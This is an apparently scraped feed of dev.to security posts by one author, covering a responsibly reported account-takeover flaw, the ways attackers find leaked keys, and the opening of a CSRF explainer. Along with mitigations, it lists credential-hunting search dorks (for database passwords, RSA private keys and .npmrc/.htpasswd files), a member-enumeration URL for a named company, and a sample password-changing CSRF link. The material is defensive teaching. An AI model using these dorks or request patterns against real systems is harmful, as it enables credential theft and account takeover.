&lt;p&gt;I found an &lt;code&gt;edit&lt;/code&gt; link on the preferences menu that led me to a form where I could change my details: &lt;code&gt;name&lt;/code&gt;, home &lt;code&gt;address&lt;/code&gt;, &lt;code&gt;phone_number&lt;/code&gt;, and sure enough - my &lt;code&gt;email&lt;/code&gt; address(!). The reason I'm emphasizing the email address is that this is the field that usually leads to account takeovers. Personal information should never be leaked, but it isn't always considered a security bug, whereas having an unprotected email change, can potentially destroy an account. Email addresses are de-facto web application accounts identifiers. If you control an account's email address, you own it. Controlling the address can be used to reset the password and essentially taking control over the account.&lt;/p&gt;

&lt;p&gt;An important note about email address protection. More precisely - &lt;em&gt;email address update&lt;/em&gt; protection. Changing an account's email address should be protected by a password. Yes, even if the user is &lt;strong&gt;already&lt;/strong&gt; authenticated and logged in. Exactly for the reason described above. APIs are constantly changing and most of them have or will be exposing &lt;em&gt;something&lt;/em&gt; at some point. It's a common and good practice to place another layer of protection on password and email changes. Once these are protected, to ensure the user is "real", he would be asked to confirm the change in the personal mailbox. Whether these are password or email changes, we assume that control over both an email address and password is a good identifier for a user's authenticity.&lt;/p&gt;

&lt;p&gt;Continuing my "journey" I made a request to change my email address adding &lt;code&gt;+1&lt;/code&gt; to the username so that I don't lose control over the account (a &lt;code&gt;+1&lt;/code&gt; is common practice to change an address or use multiple accounts with the same mailbox). Sure enough, the request went through and my account was updated. This means, that anyone with this "coffee preference update" link, could take over my account details and buy anything they want with my credit card.&lt;/p&gt;

&lt;p&gt;So how do I exploit that? I tried to illustrate the risk to the shop owner by showing a POC. To utilize a &lt;a href="https://dev.to%20post_url%202020-04-01-csrf-attacks%20"&gt;CSRF&lt;/a&gt; attack I'd have to create some kind of HTML form and send it to customers so their cookie is added to the request. BUT - not only the form did not have a CSRF token in place, I recalled it was not being validated at all.&lt;br&gt;
There were also no CORS headers in place. This means that &lt;strong&gt;anyone&lt;/strong&gt; from &lt;strong&gt;anywhere&lt;/strong&gt; can send a &lt;code&gt;POST&lt;/code&gt; request to the shop's API using the &lt;code&gt;recurring/customer/edit&lt;/code&gt; link to make changes to an account, given the hash. This is massive because usually CSRF is utilized through dangerous &lt;code&gt;GET&lt;/code&gt; requests. To exploit a &lt;code&gt;POST&lt;/code&gt; changing request one would have to chain the attack with a &lt;em&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/stored"&gt;stored XSS&lt;/a&gt; (a form of code injection where in this case might present a malicious link in the application)&lt;/em&gt; of some kind for a user to view / click.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://omerxx.com/csrf-attacks/"&gt;Check out my post on CSRF attacks and mitigation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since the cookie had no role here, all of that did not matter. This is just to show that if it was, a cookie validation alone is not a bulletproof solution. It is a baseline to the different security layers that should be implemented on top.&lt;/p&gt;



&lt;h3&gt;
  
  
  Reporting
&lt;/h3&gt;

&lt;p&gt;I'm trying to educate myself on writing &lt;a href="https://medium.com/swlh/how-to-write-a-better-vulnerability-report-20163ab913fb"&gt;better vulnerability reports&lt;/a&gt;, so I cleanly disclosed everything I could to the shop owners. I assumed the technical details will be forwarded, so it was important to stress the &lt;strong&gt;impact&lt;/strong&gt; and the risks the vulnerability imposes. This brings me to the "why it matters" part.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--b20HXlA9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/e2u7rms3h0ki8rhfy0or.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b20HXlA9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/e2u7rms3h0ki8rhfy0or.jpg" alt="Shot!" width="880" height="580"&gt;&lt;/a&gt;&lt;/p&gt;






&lt;h2&gt;
  
  
  Why it matters!
&lt;/h2&gt;

&lt;p&gt;The internet is massive, and it grows exponentially. With it, are growing both users and applications, and yes - bugs. As a developer, knowing common risks and how to test them, helps us as a community build better applications to support happier (and safer) customers. As in this case, no one intended any harm, but on the path to perfect a customer experience, developers and product owners should keep risks in mind together with the impact of their exploits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.ted.com/talks/keren_elazari_hackers_the_internet_s_immune_system"&gt;As a smart woman once said&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Hackers are the internet's immune system.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;While I can't call myself one, there are lots of high-quality bug bounty platforms out there with highly skilled researchers. I'd like to encourage teams with the resources and means to consider opening their program, private or with a platform. Leverage (and compensate) professional skills to spot security holes and fix them.&lt;/p&gt;

&lt;p&gt;I do hope this post sparks the light in other minds to protect their customers. I also hope this can be a call-to-action for users to keep an open eye on how they are communicating with service providers they consider trustworthy. Lastly, I'd call for anyone who thinks they noticed something to go down the rabbit hole, and report. Worst-case scenario nothing happens. On the other hand, you may have saved information leaks, embezzlement and by extension - lives.&lt;/p&gt;






&lt;h2&gt;
  
  
  Testing yourself for vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Developers are often over-trusting security pipelines, QA systems and their own imported libraries. While these are all functional layers of the release process, a developer should know how to think and run basic tests against their own creation.&lt;/p&gt;

&lt;p&gt;The thought process is something along the lines of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What's the security mechanism that's preventing a malicious actor to make a certain request?&lt;/li&gt;
&lt;li&gt;If I were a hacker (or a curious engineer with too much free time), how would I bypass it?&lt;/li&gt;
&lt;li&gt;Can I simply &lt;em&gt;not&lt;/em&gt; use a cookie? Can I remove the authentication header? Can I manipulate the cookie? Can I change my role just by manipulating the request's endpoint / headers / body / parameters?&lt;/li&gt;
&lt;li&gt;Are there other creative-yet-obvious ways someone could use the system in a way that was not intended?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a partial list of questions that any developer should ask, especially when building and protecting user accounts. Added a new authentication library? Test it. Changed the cookie encryption? Added roles to your application management system? Test the changes, try to manipulate the system, it's not only fun but healthy. Take it a step further and dedicate half a day in a sprint for self-security "poking". I know that was a way I've sharpened my skills and once even found a way our system, built in house and serving clients, was compromise-able. But this is a different story for a different post.&lt;/p&gt;

&lt;p&gt;Thank you for reading!&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>webdev</category>
      <category>code</category>
    </item>
    <item>
      <title>How hackers steal your keys and secrets</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 22 Sep 2020 13:45:24 +0000</pubDate>
      <link>https://dev.to/omerxx/how-hackers-steal-your-keys-and-secrets-45g2</link>
      <guid>https://dev.to/omerxx/how-hackers-steal-your-keys-and-secrets-45g2</guid>
      <description>&lt;p&gt;After hunting for security bugs I've realized clients I’m working with are not familiar enough (or at all) with basic “hacking” techniques. API keys, passwords, SSH encrypted keys, and certificates are all great mechanisms of protection, as long &lt;strong&gt;they are kept secret&lt;/strong&gt;. Once they’re out in the wild, it doesn’t matter how complex the password is or what hash algorithm was used to encrypt it somewhere else. In this post, I’m going to share concepts, methods, and tools used by researchers both for finding secrets and exploiting them. I'll also list mitigation action items that are simple to implement.&lt;/p&gt;

&lt;p&gt;It’s important to mention that the attack &amp;amp; defend “game” is not an even one; an attacker only needs one successful attempt to get in, whereas the defender has to succeed 100% of the time. The hard part is knowing where to look. Once you can list your virtual “gates” through which hackers can find their way in, you can protect them with rather simple mechanisms. I believe their simplicity sometimes shadows their importance and makes a reason to be overlooked by many teams.&lt;/p&gt;

&lt;p&gt;So here’s a quick and simple, yet not one to overlook TL;DR:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enforce MFA everywhere - Google, GitHub, Cloud providers, VPNs, anywhere possible. If it's not optional, reconsider the system in use&lt;/li&gt;
&lt;li&gt;Rotate keys and passwords constantly, employ and enforce rotation policies&lt;/li&gt;
&lt;li&gt;Scan your code regularly. Preferably as part of the release process&lt;/li&gt;
&lt;li&gt;Delegate login profiles and access management to one central system where you control and monitor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are the &lt;a href="https://en.wikipedia.org/wiki/Pareto_principle"&gt;20% actions for 80%&lt;/a&gt; effect to prevent leaks and access-control holes&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;The attack &amp;amp; defend “game” is not an even one; an attacker only needs one successful attempt to get in, whereas the defender has to succeed 100% of the time.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;em&gt;So, what do hackers do and use to find passwords and application secrets?&lt;/em&gt;
&lt;/h3&gt;




&lt;h1&gt;
  
  
  They find them in your JavaScript files
&lt;/h1&gt;

&lt;p&gt;API keys are all over the internet exposed to the world. This is a fact. Often times for no good reason. Developers forget them all around:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;For debug purposes&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For local devlopement&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For future maintainers as comments&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Blocks such as this one are all over the internet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DEBUG ONLY&lt;/span&gt;
&lt;span class="c1"&gt;// TODO: remove --&amp;gt;&lt;/span&gt;
&lt;span class="nx"&gt;API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;t0psecr3tkey00237948&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While many hackers actually sit and read through javascript files, the vast majority of them will automatically scan with tools like &lt;a href="https://github.com/tomnomnom/meg"&gt;meg&lt;/a&gt; and then scan them for patterns.&lt;br&gt;
How do they do that? After using a scanner like "meg" they scan their findings for a string that matches different templates. An example of another great tool by the same author that does exactly that is &lt;a href="https://github.com/tomnomnom/gf"&gt;gf&lt;/a&gt; which is just a better &lt;code&gt;grep&lt;/code&gt;. In this instance, using &lt;a href="https://github.com/tomnomnom/gfhh"&gt;truffleHog&lt;/a&gt; or the &lt;code&gt;trufflehog&lt;/code&gt; option in the &lt;code&gt;gf&lt;/code&gt; tool can find the high-entropy string that most API keys identify with. The same goes for searching &lt;code&gt;API_KEY&lt;/code&gt; as a string that yields results (too) many times.&lt;/p&gt;

&lt;p&gt;Often times, keys have a good reason to appear where they are, but they're not protected from being used externally. One example is a client I've been working with lately, who, like many other platforms use maps as a third-party service. In order to fetch maps and manipulate them, they would call an API with a key and use it to get the relevant map back. What they forgot to do is configure their map provider to limit the origins from where incoming requests with that specific key can originate. It's not hard to think of a simple attack that will drain their license quota, effectively costing them a lot of money, or "better" yet (in terms of the attack) bringing their map-oriented service down.&lt;/p&gt;

&lt;p&gt;JS files are not only used to find secrets by hackers. &lt;em&gt;This is your application code open to any prying eyes&lt;/em&gt;. An intelligent hacker might read the code thoroughly to understand naming conventions, API paths, and find informational comments. These are later on extrapolated to a list of words and paths and loaded into automated scanners. This is what's referred to as an &lt;em&gt;intelligent automated scan&lt;/em&gt;; one where the attacker combines automated processes and gathered organization-specific information.&lt;/p&gt;

&lt;p&gt;A real comment left on a target's front page, revealing a set of unprotected API endpoints leaking data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="cm"&gt;/* Debug -&amp;gt;
domain.com/api/v3 not yet in production 
and therefore not using auth guards yet 
use only for debugging purposes until approved */&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What should you do then?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Minify / Uglify - Adds a layer of obfuscation and utilization. While usually reversible it can help flying under the radar of many automatic scanners, reducing the attack surface&lt;/li&gt;
&lt;li&gt;Keep only the bare minimum keys and permissions - while some are essential, most are not. Leave only keys that have got to be part of the code&lt;/li&gt;
&lt;li&gt;Reduce the key permissions to the bare minimum necessary - as with the maps service example, make sure the key can only do what it's intended to, and &lt;em&gt;where it's intended to operate from&lt;/em&gt;. Make sure you leave no room for exploitation&lt;/li&gt;
&lt;li&gt;Use the same tools attackers would use to automatically scan code on CI builds. Especially with string pattern matching tools that are quick to run. Utilize simple &lt;code&gt;grep&lt;/code&gt;s or &lt;code&gt;gf&lt;/code&gt; to scan for patterns. Much like tests, these can help ensure developers don't leave holes that can be exploited or used to breach the system&lt;/li&gt;
&lt;li&gt;Practice code review to have another eye on the code - all the scanners in the world cannot scan and detect 100% of the use cases. Another human eye is a great practice, &lt;strong&gt;both for quality and security&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  They take a look back at the Wayback machine
&lt;/h1&gt;

&lt;p&gt;The &lt;a href="https://archive.org/web/"&gt;internet archive&lt;/a&gt;, also known as the "Wayback Machine" holds periodic scans of websites all over the internet for years and years back. This is a mining field for hackers with a target. With tools like &lt;a href="https://github.com/tomnomnom/waybackurls"&gt;waybackcurls&lt;/a&gt; (based on &lt;a href="https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050"&gt;waybackcurls.py&lt;/a&gt;) one can scan any target of old files. This means that even if you've found and removed a key but did not rotate it, a hacker might still find it in an old version of your website and use it against you.&lt;/p&gt;

&lt;p&gt;Found a key laying around where it's not supposed to?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a replacement key&lt;/li&gt;
&lt;li&gt;Release a version that uses the new key and removes the clear text mentioning&lt;/li&gt;
&lt;li&gt;Delete the old one or deactivate it&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The way &lt;em&gt;WaybackMachine&lt;/em&gt; is not only good for finding keys
&lt;/h3&gt;

&lt;p&gt;Old code reveals all kind of interesting information for exploiters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Secret API paths - Unprotected API endpoints that you thought would never be found. While the ones that are found may be unexploitable they still help attackers map the API structure and conventions in the system. When your code is out in the wild there's no control over it, this is key to remember and put in the back of any developer's mind&lt;/li&gt;
&lt;li&gt;Web administration panels, much like API endpoints, are left around for different purposes and serve as one of the common attack vectors hackers find and exploit. These are mostly found in large organizations and installed by IT teams. A good idea is to periodically review all administration panels in use and their access management. A recent automotive manufacturer breach happened through such a panel that was bypassed by removing the &lt;code&gt;s&lt;/code&gt; from the &lt;code&gt;https&lt;/code&gt; prefix of the address. Yes: 🤦.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  They use GitHub
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;GitHub is a goldmine for hackers&lt;/strong&gt;. With a simple search, knowing where to look can yield interesting results. If your account is not enforcing MFA, each and every user in the organization is a walking security hole. It's not far-fetched to assume that one of the collaborators in the organization is not using a unique password and that his password was once leaked through another system. A hacker that targets the organization can easily automate such a scan or even go manually through it.&lt;br&gt;
The list of employees can be generated with &lt;a href=""&gt;OSINT&lt;/a&gt; like searching for employees on Linkedin, or in the GitHub public users list.&lt;/p&gt;

&lt;p&gt;For example, here's a good starting point if you're trying to probe Tesla:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.github.com/orgs/teslamotors/members
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if the company doesn't use GitHub as their git provider, often the leaks won't be caught there anyway. It's enough to have one employee that uses GitHub for his personal projects and has a small leak in one of them (or their git history) to turn it into a breach.&lt;/p&gt;

&lt;p&gt;Git's nature is to track the entire history of changes in every project. In the security context of things, this fact becomes significant. In other words, every line of code every written (or removed) by any user with current access to any organizational system is jeopardizing the company.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does it happen?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Companies don't scan themselves for leaks&lt;/li&gt;
&lt;li&gt;Those that do, usually don't consider going through their employees' personal (yet publically available) accounts&lt;/li&gt;
&lt;li&gt;Those that do scan employees (a guesstimation of less than 1%) many times fail over reliance on automation and skipping commit history (not scanning the entire git tree but just the surface which is the current snapshot of the code)&lt;/li&gt;
&lt;li&gt;Lastly, companies don't rotate keys or use 2FA often enough. Those two can eliminate most of the holes above&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Dorks 101
&lt;/h3&gt;

&lt;p&gt;"Dorks" are search lines that utilize the search engine different features, with targeted search strings to pinpoint results. &lt;a href="https://www.exploit-db.com/google-hacking-database"&gt;Here's a fun list of Google searches&lt;/a&gt; from the exploit DB.&lt;/p&gt;

&lt;p&gt;Before giving the gist of it, if you want to go deep here, and I personally recommend that you do, &lt;a href="https://www.bugcrowd.com/resources/webinars/github-recon-and-sensitive-data-exposure/"&gt;here's an invaluable lesson from a talented researcher.&lt;/a&gt;. He discusses how to scan, how to use dorks, what to look for and where when going through a manual process.&lt;/p&gt;

&lt;p&gt;GitHub dorks are less complex than Google simply because it lacks the complexity of features Google offers. Still, searching for the right strings in the right places can do wonders. Just go ahead and search one string of the next list on GitHub, you're in for a treat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;password
dbpassword
dbuser
access_key
secret_access_key
bucket_password
redis_password
root_password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you try targeting the search to interesting files like &lt;code&gt;filename:.npmrc _auth&lt;/code&gt; or &lt;code&gt;filename:.htpasswd&lt;/code&gt; you can filter the type of leak you're looking for. &lt;a href="https://securitytrails.com/blog/github-dorks"&gt;Read further SecurityTrails' great post&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Mitigation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Scan for leaks as part of any CI process, &lt;a href="https://github.com/michenriksen/gitrob"&gt;GitRob&lt;/a&gt; is a great tool&lt;/li&gt;
&lt;li&gt;Scan employees accounts; Gitrob does that for you unless disabled with &lt;code&gt;-no-expand-orgs&lt;/code&gt; flag&lt;/li&gt;
&lt;li&gt;Go deep into the history, Gitrob's default is 500 commits, you can go further with &lt;code&gt;-commit-depth &amp;lt;#number&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization"&gt;Enforce GitHub two-factor authentication!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Rotate access keys, secrets, and password of each and every system. A good practice would be to use federated access through one system like GSuite or ActiveDirectory and make sure they employ policies of password rotation and complexity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;A post-publish important remarks by there readers &lt;a class="mentioned-user" href="https://dev.to/codemouse92"&gt;@codemouse92&lt;/a&gt; and &lt;a class="mentioned-user" href="https://dev.to/corymcdonald"&gt;@corymcdonald&lt;/a&gt; about password complexity, rotation, and physical devices assisting:&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Use a unique, complex password for each login that requires one... but understand that complex does not imply esoteric. Long phrases are currently considered the best strategy.&lt;br&gt;
...&lt;br&gt;
I'd add one thing to the topic of password managers: while you should definitely use one, it's best to still use phrase-based passwords that can be entered reasonably by a human.&lt;br&gt;
- Jason C.McDonald&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;--&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In my line of work ... everyone is issued a hardware-based MFA. Everyone gets 2 YubiKeys ...&lt;br&gt;
Additionally, we have 1Password and separate vaults for each team. When an employee leaves the company the support team goes and rotates all the passwords in each vault the person had access to.&lt;br&gt;
Personally I've made the cursed mistake of pushing up AWS secrets to Github. It's recommended everyone add &lt;a href="https://github.com/awslabs/git-secrets"&gt;git-secrets&lt;/a&gt; to their pre-commit workflow to prevent pushing up anything resembling a secret.&lt;br&gt;
- Cory McDonald&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  They use Google
&lt;/h1&gt;

&lt;p&gt;Now that we're generally familiar with dorks, taking them to Google reveals an entirely new field of features. Being the powerful search engine it is, Google offers inclusion &amp;amp; exclusion of strings, file format, domains, URL paths, etc.&lt;br&gt;
Consider this search line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"MySQL_ROOT_PASSWORD:" "docker-compose" ext:yml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is targeting a specific file format (&lt;code&gt;yml&lt;/code&gt;) and a vulnerable file (&lt;code&gt;docker-compose&lt;/code&gt;) where developers tend to store their &lt;em&gt;not-so-unique&lt;/em&gt; passwords. Go ahead and run this search line, you'd be surprised to see what comes up.&lt;/p&gt;

&lt;p&gt;Other interesting lines may include RSA keys or AWS credentials, here's another example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"-----BEGIN RSA PRIVATE KEY-----" ext:key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The options are endless and the level of creativity and width of familiarity with different systems will determine the quality of findings. &lt;a href="https://github.com/BullsEye0/google_dork_list/blob/master/google_Dorks.txt"&gt;Here's a large list of dorks if you want to play a little&lt;/a&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  They get to know your system
&lt;/h1&gt;

&lt;p&gt;When a researcher (or a motivated hacker) gets "involved" with a system, he goes deep. He gets to know it; API endpoints, naming conventions, interactions, different versions of systems if they're exposed.&lt;/p&gt;

&lt;p&gt;A not-very-good approach to securing systems is introducing complexity and randomness to their access paths instead of real security mechanisms. Security researchers trying to come up with vulnerable paths and endpoints use "fuzzing" tools. These tools use lists of words, combining them into system paths and probing them to see if valid answers are being returned. These scanners will never find a completely random set of characters, but they are superb at identifying patterns and extracting endpoints you either forgot about or did not know that exist.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Remember, security through obscurity is &lt;em&gt;not&lt;/em&gt; a good practice (although don't ignore it completely)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's where Github dorks which we've discussed earlier come in; knowing a system's endpoints naming convention, e.g. &lt;code&gt;api.mydomain.com/v1/payments/...&lt;/code&gt; can be very helpful. Searching the company's Github repos (and their employees) for the basic API string can many times find those random endpoints names.&lt;/p&gt;

&lt;p&gt;However, random strings still have a place when building systems; they are always a better option than incremental resource IDs, like users, or orders.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/danielmiessler/SecLists"&gt;Here's an incredible string lists repo called "SecLists"&lt;/a&gt;. It's being used by almost everyone in the industry. Often with a personal twist and touch in the context of the target, it's a massive source. Another powerful tool to leverage string lists is &lt;a href="https://github.com/ffuf/ffuf"&gt;FFuf&lt;/a&gt;, an ultra-fast fuzz tool written in Go.&lt;/p&gt;




&lt;h1&gt;
  
  
  Wrapping it up
&lt;/h1&gt;

&lt;p&gt;Security is often taken lightly in startups. Developers and managers tend to prioritize speed and delivery times over quality and security. Pushing clear text secret strings to code repos, using the same keys over and over in systems, using access keys when other options are available can sometimes seem faster, but they can be detrimental down the road. I've tried showing how those strings you think are protected by being in a private repo, can easily find their way to a public gist. Or an employee's unintentional Git clone that was made public. If you set the ground for secure work like using &lt;a href="https://github.com/pinterest/snappass"&gt;password sharing tools&lt;/a&gt;, &lt;a href="https://vaultproject.io"&gt;central secret store&lt;/a&gt;, policies for passwords and multi-factor authentication, you'd be able to keep making fast progress, without sacrificing security completely.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Move fast and break things", is not the best mantra in the context of information protection&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Knowing how hackers work, is usually a very good first step in understanding security and applying it to systems as a protector. Consider the approaches above and the fact that this is a very limited list of paths hackers take when penetrating systems. A good thing to do is to keep in mind the security aspects of anything being deployed to a system, regardless of its customer-facing/internal nature.&lt;/p&gt;

&lt;p&gt;Managing security can sometimes be a pain in the ass, but rest assured, the mayhem you're avoiding by just taking care of the very basic elements, will keep you safe and sane.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Thank you&lt;/strong&gt; for reading this far! I hope that I've helped to open some minds to risks that are out there and we all miss or overlook. &lt;/p&gt;

&lt;p&gt;Feel free to &lt;a href="https://twitter.com/0merxx"&gt;reach out&lt;/a&gt; with any feedback or questionsץ Any form or shape or discussion is most welcome!&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>github</category>
      <category>git</category>
    </item>
    <item>
      <title>Protect your application from CSRF attacks</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 25 May 2020 14:45:20 +0000</pubDate>
      <link>https://dev.to/prodopsio/protect-your-application-from-csrf-attacks-2l9o</link>
      <guid>https://dev.to/prodopsio/protect-your-application-from-csrf-attacks-2l9o</guid>
      <description>&lt;p&gt;Cross-Site Request Forgery attack and mitigations explained&lt;br&gt;
&lt;em&gt;Originally published at &lt;a href="https://omerxx.com/csrf-attacks"&gt;https://omerxx.com/csrf-attacks&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing."&lt;br&gt;
&lt;br&gt;&lt;br&gt;
- &lt;a href="http://dvwa.co.uk/"&gt;DVWA&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;TL;DR&lt;/em&gt;&lt;br&gt;
CSRF is as easy to attack as it is easy to protect from! There's no reason any web-facing application should not implement the relevant protection. Lots of known frameworks have it built in as a feature or an opt-in and on some it is offered as a middleware. &lt;a href="https://scotthelme.co.uk/csrf-is-dead/"&gt;CSRF will probably die&lt;/a&gt; in the next few years, when all modern browsers will adopt default same-site cookies protection. However, until that actually happens, web applications are exposed, and for no good reason.&lt;/p&gt;

&lt;p&gt;In this post I'm going to quickly go over the basics, mitigations and then take a deep dive into a hands-on lab. The latter is obviously not a must for mitigation. But stick around if you want to get your hands dirty and get a more firm grasp of the attack vector.&lt;/p&gt;


&lt;h1&gt;
  
  
  What is it
&lt;/h1&gt;

&lt;p&gt;Cross Site Request Forgery, "CSRF", or "XSRF", is a common vulnerability in web applications. It involves sending malicious requests from an external domain to the backend server, performing actions in the victim's name. The attack assumes a valid cookie from an authenticated victim.&lt;/p&gt;

&lt;p&gt;Delivering the exploit involves some social engineering methods where a victim is tricked into visiting a URL or clicking a button on an HTML document. These can be shared via email, instant messaging and various other techniques.&lt;/p&gt;

&lt;p&gt;If the attack is successful when the victim visits the malicious link it uses his session cookies to perform an action, usually without him being aware of it.&lt;/p&gt;

&lt;p&gt;As an example consider this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://bank.com/account/update?password='attackerPassword123'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If an authenticated user clicks the link, assuming his cookies for &lt;code&gt;bank.com&lt;/code&gt; are still unexpired, his bank account password will change with the attacker's password. While this is a naive &lt;code&gt;GET&lt;/code&gt; request, the attack is not limited to this method alone. It can be done with &lt;code&gt;POST&lt;/code&gt; requests which are can be chained with stored XSS vulnerabilities to increase the attack surface and success rate.&lt;/p&gt;

&lt;p&gt;Modern browsers adhere to the &lt;code&gt;same-origin-policy&lt;/code&gt; restriction. They assume applications can only send requests to each other within their domain. In order to extend the restriction, applications use &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS"&gt;CORS&lt;/a&gt; headers. For example, the next header allows all domains to send HTTP requests to the server (and it is therefor &lt;strong&gt;highly UNrecommended&lt;/strong&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access-Control-Allow-Origin: *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More often than not there's a communication of requests between different services of an application. This requires extending the origins that are allowed to communicate with the backend app. However, many developers choose to solve the problem by setting &lt;code&gt;*&lt;/code&gt; in the CORS header, effectively allowing anyone to communicate with them.&lt;/p&gt;

&lt;p&gt;Note: SOP (same-origin-policy) and CORS do not prevent requests from &lt;strong&gt;reaching the server&lt;/strong&gt;, they prevent a &lt;strong&gt;response&lt;/strong&gt;. For this reason, CSRF is exploiting known state-changing requests and does not expect an answer.&lt;/p&gt;




&lt;h1&gt;
  
  
  Why it's important to know
&lt;/h1&gt;

&lt;p&gt;First, because it's a relatively easy and common way for a low-skilled attacker to exploit the application's users. An example of a malicious action can be changing a user's email address or password, effectively overtaking an account. While the business risks differ it's pretty obvious why would any developer want to avoid the risk, especially knowing the simple steps to mitigation.&lt;br&gt;
&lt;br&gt;&lt;br&gt;&lt;/p&gt;


&lt;h1&gt;
  
  
  Mitigations
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Token-based - One of the common ways and definitely the most robust one is the use of a token. Upon user request, the application generates a unique token that's added to the form as a hidden field. When the user sends the form back, the server is validating its authenticity by comparing the token to the one he had generated earlier.&lt;/li&gt;
&lt;/ul&gt;

